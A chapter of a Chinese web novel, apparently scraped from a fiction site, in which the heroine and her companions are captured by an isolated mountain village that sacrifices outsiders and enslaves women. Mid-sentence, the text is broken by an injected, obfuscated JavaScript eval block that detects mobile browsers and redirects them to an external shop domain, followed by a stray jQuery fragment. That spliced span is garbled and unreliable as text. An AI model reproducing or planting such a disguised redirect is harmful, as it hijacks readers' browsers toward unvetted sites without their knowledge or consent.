文趣网 > 都市小说 > 怎么与仇人HE了 > 7. 被抓
    孟笙听他说的越发疑惑,但若是山间小村,有江谨他们这官府之人在,情况应当不至于不可控。

    “这位大哥,你可知与我们一同来的那几人如今在何处?”

    “在安全的地方等候上天。”

    那人放下碗筷,转头盯着她们,道:“你放心,你二人会得到一个好的归宿,以保我们村子绵延不断。”

    撂下这意味深长之言,那人缓缓走出屋子,再传来重重的脚步声,似乎是交了班。

    孟笙眼见另一男子走入屋内,他又瘦又高,皮肤黝黑,头发上沾着不少尘土,瞧着二三十岁,可一双眼睛却清澈得犹如林间幼鹿,单纯又胆怯地打量孟笙。

    被人直勾勾盯着,孟笙有些不自在,手足无措之际,下意识扯起嘴角,又问道:“你是?”

    那人看着她的笑,蓦地愣神,随即眨巴眨巴双目,露出真诚的笑。

    “我叫袁益,你呢?”

    “你……唤我清歌便好。”

    “清歌。”

    他垂眼低低地念了句,似乎想起了什么,嘴角顿时上扬起来,跳脱地转言问道:“你饿了吗?”

    “有一些。”孟笙一面回答,一面观察他的神色以推测其用意,不过算来自昨晚起便没吃多少东西,今晨又耗费不少体力,要是能吃些东西补充体力就更好了。

    “那走,我们去吃饭。”

    话落,袁益直直上前,蹲下身,笨拙地解着她身上绑着的绳子。

    侧头边盯着他的动作,孟笙故作自然地试探道:“若真能吃些东西,那便要多谢公子了,就是……不知可否让我见一见与我同行的那些人?”

    闻言,那人手上动作一停,许久才回应:“也不是不行,只是你为何要见他们呢?”

    “因为……”孟笙稍作思索,“因为他们是我兄弟,那么久没见他们,我有些担心。”

    “兄弟?”

    “对,我们……”

    孟笙话还未尽,本以为他还要继续审问,不曾想那人一点都未生疑,以蛮力扯断绳子后直接带孟笙出了门去。

    趁此机会,孟笙左顾右盼观察此地。瞧着就是山中村落,与世隔绝,来往目测有几十人,皆为男子。

    两个屋子间离得不远,走了不久便到,袁益似乎是个小领头,驻守的男子见着他便立刻笑着开了门。

    “快些快些。”还未进门,袁益便挥挥手开始催促她。

    孟笙余光扫了眼他,还是未懂此人是何意图,却也来不及多想,直直走进屋。

    方一入内,便被屋内刺鼻的腐木味熏得皱眉,四处尽是的灰尘率先叫她捂鼻。

    再一看,才见江谨三人坐在地上,皆被绑着手脚,都已转醒,原本身上染血的衣物也被换掉,如今皆身着干净衣裳。

    孟笙上前两步在三人面前蹲下,察觉到身后男子的目光,思考着该如何让他不怀疑……

    她进屋走到夏离身边蹲下,装作心疼的样子,“大哥,你可有受伤?”

    夏离眼底闪过疑惑之色,又瞥了眼屋外盯着里头的人,明白了什么,自然接话:“不碍事,阿妹放心。”

    孟笙眼珠一转,视线落在一脸警惕的赵永翊身上,她犹记昨夜的刺杀,能见此人武功极高,便笑着故作自然道:

    “二哥,你上次吹牛说能打五十只野兔,这次怎么还没开始就倒下了,你可还有把握?”

    赵永翊闻声若有所思,并未应答。

    孟笙再目移向江谨,唯有他面容憔悴,嘴唇发白,微垂着脑袋,仿佛是艰难直起身的模样。

    “还有三弟的伤呢?”

    江谨抬头与她相视,瞧她风轻云淡的模样,忍不住微微蹙起眉,不过此刻不是该计较什么哥哥弟弟之时。

    他止了心里头的胡思乱想,下意识准备回答说无事,却怕影响计划安排最终拖后腿,便只能直言道:“不算好。”

    不等孟笙多问,此时袁益在屋外细声道:“你可问清楚了?该不担心了吧?”

    “袁大哥,您看我这弟弟在打猎时受了伤,恳请您请人来为他医治一二吧。”

    袁益扫了眼他们四个,语气有些不解,“既要升天的,还来得及治吗?”

    闻此,江谨疑惑地瞥向他,按捺心中不悦,轻声问道:“公子何出此言?”

    “升天,就是在祭天宴上,送你们回到天上去,我们村的规矩就是如此。”

    “什么,什么祭天的规矩?”夏离脸上神情瞬时凝重起来。

    “就是……”袁益明显不愿多解释,摆摆手道,“不行,我饿了,且我晚上若要你来陪我的话,得让你如今就去见爹爹。”

    “我?”孟笙亦转头看向袁益,手指指向自己,试探问道,“我陪你?晚上?”

    此刻已明白这些村民意欲何为,四人一时无言以对。

    “好了,我们走吧。”不等几人反应,他不由分说地抓起孟笙的手,拽向屋外。

    袁益力气极大,本蹲着身子的她整个人都快被提起,险些摔跤,随即是“砰”的一声,房门关紧。

    屋内三人回归沉默,江谨瞥向房门,见屋外似乎再无动静,便缓缓站起身来。

    早便解开了绳子,如此的把戏困不了他多久。

    此时手臂有些麻木,似乎是毒素扩散,不等多顾伤痛,江谨迅速帮二人解开绳子,三人围坐一起讨论情况。

    赵永翊起身透过窗观察屋外,并无人发现他们的不对,这才道:“五十人,既是村落,或许都不会武艺,若那人所言不假,我们须得在祭天以前逃脱。”

    夏离思索着点头,心下有所顾虑,“硬闯吗?可是君临阁的规矩……”

    “先成任务,再顾民众,何况他们在此,保不准伤害了多少无辜百姓。”边说着,江谨偏头检查自己的伤口,想起什么,眸光定了定,又道:

    “那女子定要护住,不论如何也要将她带出去。”

    “明白。”

    —

    另一边,孟笙坐在桌前思考着对策,此处是一片空地,上置矮小木桌,泛黄的日光洒下,周遭树影婆娑,可她无心赏景,越细想越觉忧虑。

    一位妇人在袁益身边一言不发,似乎在服侍他,冷着脸为他拍落身上的尘土,此刻袁益嘴里塞满吃食,边咀嚼边向孟笙说道:“快吃吧。”

    孟笙闻之挤出一丝笑颜,敷衍着点点头,边悄然观察四周,最抢眼的自然是这一旁用粗木堆起的小塔,不算高,但十分宽大。

    留意到她的目光,袁益使劲一口咽下口中食物,神色亦正经起来,解释道:“夜间,在此处点上火,便是通上天际的通道。”

    “点火?”

    “点火,”他点头以示肯定,“而后将你的兄弟们送去,作为献予上天的贡品。”

    说罢,他又笑了笑,依旧是那般单纯透亮的眼眸,看着他继续埋头进食,孟笙心底却莫名泛起一阵寒意。

    这里人这么多,又尽是壮汉,江谨负伤中毒,且他们并不熟悉这山,纵然那三人武功高

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747160|209329||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    强,顺利逃出的把握应当也不算大。

    这可如何是好呢?

    静默之际,听脚步声临近,她转头望去,是一位老汉,稀疏几根胡须,身板挺直,眉目间略显不悦。

    他身旁还站一妇人,面容憔悴,胆怯的目光观察四周。

    “袁益,又跑去何处了?我不是同你说过四周都不可走动么?”

    “爹爹!”袁益笑着站了起来,还不忘向孟笙介绍,“这便是我爹爹,亦是我们村子的村长。”

    “长的是不错,晚上给去年干活最卖力那几个看看。”

    那人方撂下这句,便眼神示意身旁妇人带孟笙离去。

    孟笙按捺心中恐惧,警惕地跟上那妇人的脚步。一路上,她再度抓紧时机观察此地,边走边环顾。

    “姑娘,”妇人以只能她二人听见的声音说道,“你若想活下去,便听我一言,勿要再看了。”

    孟笙看着她那般正经严肃的模样,自然老实听劝,但同样暗想着,此人或许是个突破口。

    随着她进了屋,妇人熟练地从木柜中取出一身素衣,在孟笙身上对比尺寸,头也未抬,缓缓开口:“姑娘,既来了此,便忘却从前吧。”

    “……您此言何意?”

    妇人轻叹口气,只是自顾自摇摇头道:“若想活下去,就勿要反抗。”

    见她似乎知晓很多,孟笙连忙追问:“您可知这到底是何地?那些人到底是何人?接下来到底要做什么?”

    妇人抬眸对上一瞬她的目光,随即又垂下头去,似乎顺从已久,迟疑良久她才答道:“此地名为断峡村,村里大都是男子,倘若有外人闯入,男子会直接火烧祭天,至于女子,会给他们作为绵延后代的工具。”

    “你……倒也算不幸中的万幸,穿上这个吧,袁益已看上你了,接下来或许能好受点,或许只需满足几个男子就够了。”

    她眼眸低垂,嗓音微微喑哑,衣襟半遮住的淤青若隐若现,新旧交织。

    “祭天……”

    孟笙低低念着,转头瞥了眼房门,上前一步靠近妇人,以只她二人能听见的嗓音道:“有那么多人在此失踪,难道并未有官府之人找到这儿吗?”

    提及此,妇人蓦地抬起头来,一双眼睛总算有了些情感,她咬着牙,眼角的血红让孟笙察觉到她的难言之隐,有些心疼地看着妇人神色变换。

    “无人过问我们的死活,一直如此,”她瞳孔缩紧,语气低沉却有力,似乎在向孟笙控诉这不公,“就算我们逃出去了又能如何?世人该如何看我们?”

    孟笙眸光微闪,心下不忍,不自觉伸手握住她布满老茧的手。

    她的眼前仿佛显现出了妇人藏于心底的叹息怨怼,想来这妇人亦是被困于此处,不知历经多少春秋,她们或许想过法子逃离,却终不得成。

    妇人缓了过来,回神后看向二人相触的手,犹豫着再道:“姑娘,其实我所言不是在帮他们,更不是在害你,上一个想逃出去的姑娘,被关入暗无天日的地窖整整三日,吃的都是牲畜的饲料,人到如今还疯着。”

    闻此,孟笙犹豫着点点头,此刻屋外有男子之声催促,妇人似乎被吓一跳,忙将孟笙推至屏风后,在外等待她换好衣裳。

    孟笙手上动作不自觉放慢,心下暗暗考虑许多,她纵有救人之心,可自己如今亦自身难保,私自出逃,自己的身份更不好惊动官府。

    想着想着,她暗暗叹了口气,再记起乐秋,她如今孤身一人,还不知是何情形。